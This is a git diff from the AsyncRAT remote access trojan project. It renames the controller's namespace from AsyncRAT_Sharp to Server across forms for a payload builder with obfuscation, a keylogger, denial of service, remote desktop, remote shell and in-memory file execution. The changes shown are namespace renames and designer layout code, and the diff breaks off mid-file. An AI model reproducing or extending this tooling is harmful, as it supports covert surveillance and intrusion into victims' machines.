a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs rename to AsyncRAT-C#/Server/Forms/FormBuilder.cs index 1f803d3..ba139e7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs @@ -1,9 +1,9 @@ using System; using System.Windows.Forms; -using AsyncRAT_Sharp.Helper; +using Server.Helper; using System.Text; using System.Security.Cryptography; -using AsyncRAT_Sharp.Cryptography; +using Server.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; using Vestris.ResourceLib; @@ -11,9 +11,9 @@ using dnlib.DotNet; using System.IO; using System.Linq; using dnlib.DotNet.Emit; -using AsyncRAT_Sharp.RenamingObfuscation; +using Server.RenamingObfuscation; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormBuilder : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx b/AsyncRAT-C#/Server/Forms/FormBuilder.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx rename to AsyncRAT-C#/Server/Forms/FormBuilder.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.Designer.cs b/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs index f73287c..351b20b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormCertificate { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs b/AsyncRAT-C#/Server/Forms/FormCertificate.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs rename to AsyncRAT-C#/Server/Forms/FormCertificate.cs index 6ca3a29..5944a34 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs +++ b/AsyncRAT-C#/Server/Forms/FormCertificate.cs @@ -5,7 +5,7 @@ using System.Security.Cryptography.X509Certificates; using System.IO; using System.IO.Compression; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormCertificate : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.resx b/AsyncRAT-C#/Server/Forms/FormCertificate.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.resx rename to AsyncRAT-C#/Server/Forms/FormCertificate.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.Designer.cs b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormChat.Designer.cs index b7d7962..47dfb20 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormChat { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.cs b/AsyncRAT-C#/Server/Forms/FormChat.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.cs rename to AsyncRAT-C#/Server/Forms/FormChat.cs index da49989..59c31d8 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.cs +++ b/AsyncRAT-C#/Server/Forms/FormChat.cs @@ -1,5 +1,5 @@ -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using Microsoft.VisualBasic; using System; using System.Collections.Generic; @@ -12,7 +12,7 @@ using System.Threading.Tasks; using System.Windows.Forms; using System.Threading; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormChat : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.resx b/AsyncRAT-C#/Server/Forms/FormChat.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.resx rename to AsyncRAT-C#/Server/Forms/FormChat.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.Designer.cs b/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs index dfd508f..a369eca 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormDOS { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.cs b/AsyncRAT-C#/Server/Forms/FormDOS.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.cs rename to AsyncRAT-C#/Server/Forms/FormDOS.cs index 24ff0ee..618a7ea 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.cs +++ b/AsyncRAT-C#/Server/Forms/FormDOS.cs @@ -1,5 +1,5 @@ -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using System; using System.Collections.Generic; using System.ComponentModel; @@ -13,7 +13,7 @@ using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormDOS : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.resx b/AsyncRAT-C#/Server/Forms/FormDOS.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.resx rename to AsyncRAT-C#/Server/Forms/FormDOS.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.Designer.cs b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormDotNetEditor.Designer.cs index 98c8d37..7196c91 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormDotNetEditor { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.cs b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.cs rename to AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs index 7dba24f..968002c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.cs +++ b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs @@ -10,13 +10,13 @@ using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using FastColoredTextBoxNS; using Microsoft.CSharp; using Microsoft.VisualBasic; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormDotNetEditor : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.resx b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.resx rename to AsyncRAT-C#/Server/Forms/FormDotNetEditor.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormDownloadFile.Designer.cs index 77838ec..114bfdf 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormDownloadFile { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs similarity index 97% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs rename to AsyncRAT-C#/Server/Forms/FormDownloadFile.cs index 67ba54f..6732a84 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs @@ -1,4 +1,4 @@ -using AsyncRAT_Sharp.Sockets; +using Server.Sockets; using System; using System.Collections.Generic; using System.ComponentModel; @@ -12,9 +12,9 @@ using System.Threading; using System.IO; using System.Net.Sockets; using Timer = System.Threading.Timer; -using AsyncRAT_Sharp.Helper; +using Server.Helper; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormDownloadFile : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.resx b/AsyncRAT-C#/Server/Forms/FormDownloadFile.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.resx rename to AsyncRAT-C#/Server/Forms/FormDownloadFile.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs index 8097e42..b4df092 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormFileManager { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs rename to AsyncRAT-C#/Server/Forms/FormFileManager.cs index 2377bc4..d4657f9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.cs @@ -1,11 +1,11 @@ -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using System; using System.Windows.Forms; using System.Threading; using System.IO; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormFileManager : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.resx b/AsyncRAT-C#/Server/Forms/FormFileManager.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.resx rename to AsyncRAT-C#/Server/Forms/FormFileManager.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs index 91f19e0..51fe05c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormKeylogger { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs similarity index 96% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs rename to AsyncRAT-C#/Server/Forms/FormKeylogger.cs index f21d49a..ec1b1b8 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs @@ -1,5 +1,5 @@ -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using System; using System.Collections.Generic; using System.ComponentModel; @@ -12,7 +12,7 @@ using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormKeylogger : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx b/AsyncRAT-C#/Server/Forms/FormKeylogger.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx rename to AsyncRAT-C#/Server/Forms/FormKeylogger.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.Designer.cs b/AsyncRAT-C#/Server/Forms/FormPassword.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormPassword.Designer.cs index dbcd4da..9b4fb7c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormPassword.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormPassword { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.cs b/AsyncRAT-C#/Server/Forms/FormPassword.cs similarity index 92% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.cs rename to AsyncRAT-C#/Server/Forms/FormPassword.cs index cc9a7b3..849b8c3 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.cs +++ b/AsyncRAT-C#/Server/Forms/FormPassword.cs @@ -8,7 +8,7 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormPassword : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.resx b/AsyncRAT-C#/Server/Forms/FormPassword.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.resx rename to AsyncRAT-C#/Server/Forms/FormPassword.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs b/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs index 9555213..e8291d8 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormPorts { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs b/AsyncRAT-C#/Server/Forms/FormPorts.cs similarity index 97% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs rename to AsyncRAT-C#/Server/Forms/FormPorts.cs index 097bbbf..2db67ab 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs +++ b/AsyncRAT-C#/Server/Forms/FormPorts.cs @@ -2,10 +2,10 @@ using System.Windows.Forms; using System.IO; using System.Diagnostics; -using AsyncRAT_Sharp.Helper; +using Server.Helper; using System.Security.Cryptography.X509Certificates; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormPorts : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.resx b/AsyncRAT-C#/Server/Forms/FormPorts.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.resx rename to AsyncRAT-C#/Server/Forms/FormPorts.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs index bc2fdd2..815379e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormProcessManager { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs rename to AsyncRAT-C#/Server/Forms/FormProcessManager.cs index e8aeba7..765dde1 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs @@ -8,10 +8,10 @@ using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormProcessManager : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.resx b/AsyncRAT-C#/Server/Forms/FormProcessManager.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.resx rename to AsyncRAT-C#/Server/Forms/FormProcessManager.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs similarity index 96% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs index 18d3bbe..ad08eca 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormRemoteDesktop { @@ -84,7 +84,7 @@ // // btnMouse // - this.btnMouse.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.mouse; + this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse; this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.btnMouse.Location = new System.Drawing.Point(550, 3); this.btnMouse.Name = "btnMouse"; @@ -95,7 +95,7 @@ // // btnSave // - this.btnSave.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.save_image; + this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image; this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.btnSave.Location = new System.Drawing.Point(455, 3); this.btnSave.Name = "btnSave"; @@ -171,7 +171,7 @@ // // button1 // - this.button1.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.stop__1_; + this.button1.BackgroundImage = global::Server.Properties.Resources.stop__1_; this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.button1.Location = new System.Drawing.Point(12, 3); this.button1.Name = "button1"; @@ -182,7 +182,7 @@ // // button2 // - this.button2.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.arrow_up; + this.button2.BackgroundImage = global::Server.Properties.Resources.arrow_up; this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button2.Location = new System.Drawing.Point(428, 44); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs rename to AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs index 9e63f8a..0dfb13d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs @@ -10,14 +10,14 @@ using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; -using AsyncRAT_Sharp.Sockets; -using AsyncRAT_Sharp.MessagePack; +using Server.Sockets; +using Server.MessagePack; using System.Threading; using System.Drawing.Imaging; using System.IO; using Encoder = System.Drawing.Imaging.Encoder; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormRemoteDesktop : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx rename to AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs index a731cd4..6218e57 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp +namespace Server { partial class FormSendFileToMemory { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs similarity index 97% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs rename to AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs index df966da..59d3061 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs +++ b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs @@ -9,9 +9,9 @@ using System.Threading.Tasks; using System.Windows.Forms; using System.IO; using System.Reflection; -using AsyncRAT_Sharp.Helper; +using Server.Helper; -namespace AsyncRAT_Sharp +namespace Server { public partial class FormSendFileToMemory : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.resx b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.resx rename to AsyncRAT-C#/Server/Forms/FormSendFileToMemory.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.Designer.cs b/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs similarity index 97% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormShell.Designer.cs index 44f1de9..dedcf8c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs @@ -1,107 +1,107 @@ -namespace AsyncRAT_Sharp.Forms -{ - partial class FormShell - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormShell)); - this.richTextBox1 = new System.Windows.Forms.RichTextBox(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.timer1 = new System.Windows.Forms.Timer(this.components); - this.panel1 = new System.Windows.Forms.Panel(); - this.SuspendLayout(); - // - // richTextBox1 - // - this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.richTextBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54))))); - this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.richTextBox1.Font = new System.Drawing.Font("Consolas", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.richTextBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(248)))), ((int)(((byte)(248)))), ((int)(((byte)(242))))); - this.richTextBox1.Location = new System.Drawing.Point(0, 0); - this.richTextBox1.Name = "richTextBox1"; - this.richTextBox1.ReadOnly = true; - this.richTextBox1.Size = new System.Drawing.Size(800, 412); - this.richTextBox1.TabIndex = 0; - this.richTextBox1.Text = ""; - // - // textBox1 - // - this.textBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(248)))), ((int)(((byte)(248)))), ((int)(((byte)(242))))); - this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom; - this.textBox1.Font = new System.Drawing.Font("Consolas", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54))))); - this.textBox1.Location = new System.Drawing.Point(46, 423); - this.textBox1.Name = "textBox1"; - this.textBox1.Size = new System.Drawing.Size(754, 26); - this.textBox1.TabIndex = 1; - this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.TextBox1_KeyDown); - // - // timer1 - // - this.timer1.Enabled = true; - this.timer1.Interval = 1000; - this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); - // - // panel1 - // - this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54))))); - this.panel1.Dock = System.Windows.Forms.DockStyle.Left; - this.panel1.Location = new System.Drawing.Point(0, 0); - this.panel1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.panel1.Name = "panel1"; - this.panel1.Size = new System.Drawing.Size(46, 449); - this.panel1.TabIndex = 2; - // - // FormShell - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54))))); - this.ClientSize = new System.Drawing.Size(800, 449); - this.Controls.Add(this.richTextBox1); - this.Controls.Add(this.textBox1); - this.Controls.Add(this.panel1); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "FormShell"; - this.Text = "Remote Shell"; - this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormShell_FormClosed); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - private System.Windows.Forms.TextBox textBox1; - public System.Windows.Forms.RichTextBox richTextBox1; - private System.Windows.Forms.Timer timer1; - private System.Windows.Forms.Panel panel1; - } +namespace Server.Forms +{ + partial class FormShell + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormShell)); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.panel1 = new System.Windows.Forms.Panel(); + this.SuspendLayout(); + // + // richTextBox1 + // + this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.richTextBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54))))); + 